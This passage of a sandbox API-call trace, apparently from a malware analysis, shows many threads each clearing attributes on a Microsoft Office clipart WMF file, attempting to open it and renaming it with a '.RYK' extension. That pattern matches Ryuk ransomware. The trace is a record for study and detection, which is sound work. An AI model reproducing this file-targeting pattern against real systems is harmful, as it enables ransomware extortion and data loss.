	[0238.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1816
	os_tid = 0x2258

	[0237.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF", dwFileAttributes=0x80) returned 0
	[0238.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1817
	os_tid = 0x225c

	[0237.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF", dwFileAttributes=0x80) returned 0
	[0238.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1818
	os_tid = 0x2260

	[0237.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF", dwFileAttributes=0x80) returned 0
	[0238.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.114] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1819
	os_tid = 0x2264

	[0237.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF", dwFileAttributes=0x80) returned 0
	[0238.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.113] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1820
	os_tid = 0x2268

	[0237.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF", dwFileAttributes=0x80) returned 0
	[0238.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.032] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1821
	os_tid = 0x226c

	[0238.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF", dwFileAttributes=0x80) returned 0
	[0238.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.034] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1822
	os_tid = 0x2270

	[0238.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF", dwFileAttributes=0x80) returned 0
	[0238.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.035] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1823
	os_tid = 0x2274

	[0238.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF", dwFileAttributes=0x80) returned 0
	[0238.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1824
	os_tid = 0x2278

	[0238.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF", dwFileAttributes=0x80) returned 0
	[0238.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.231] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1825
	os_tid = 0x227c

	[0238.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF", dwFileAttributes=0x80) returned 0
	[0238.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1826
	os_tid = 0x2280

	[0238.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF", dwFileAttributes=0x80) returned 0
	[0238.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.228] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.228] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1827
	os_tid = 0x2284

	[0238.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF", dwFileAttributes=0x80) returned 0
	[0238.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.226] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1828
	os_tid = 0x2288

	[0238.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF", dwFileAttributes=0x80) returned 0
	[0238.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.224] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1829
	os_tid = 0x228c

	[0238.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF", dwFileAttributes=0x80) returned 0
	[0238.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.223] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1830
	os_tid = 0x2290

	[0238.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF", dwFileAttributes=0x80) returned 0
	[0238.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.220] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1831
	os_tid = 0x2294

	[0238.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF", dwFileAttributes=0x80) returned 0
	[0238.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.219] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1832
	os_tid = 0x2298

	[0238.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF", dwFileAttributes=0x80) returned 0
	[0238.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.217] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1833
	os_tid = 0x229c

	[0238.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF", dwFileAttributes=0x80) returned 0
	[0238.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.130] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1834
	os_tid = 0x22a0

	[0238.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF", dwFileAttributes=0x80) returned 0
	[0238.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1835
	os_tid = 0x22a4

	[0238.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF", dwFileAttributes=0x80) returned 0
	[0238.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1836
	os_tid = 0x22a8

	[0238.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF", dwFileAttributes=0x80) returned 0
	[0238.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1837
	os_tid = 0x22ac

	[0238.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF", dwFileAttributes=0x80) returned 0
	[0238.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1838
	os_tid = 0x22b0

	[0238.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF", dwFileAttributes=0x80) returned 0
	[0238.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.141] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1839
	os_tid = 0x22b4

	[0238.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF", dwFileAttributes=0x80) returned 0
	[0238.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1840
	os_tid = 0x22b8

	[0238.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF", dwFileAttributes=0x80) returned 0
	[0238.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1841
	os_tid = 0x22bc

	[0238.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF", dwFileAttributes=0x80) returned 0
	[0238.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
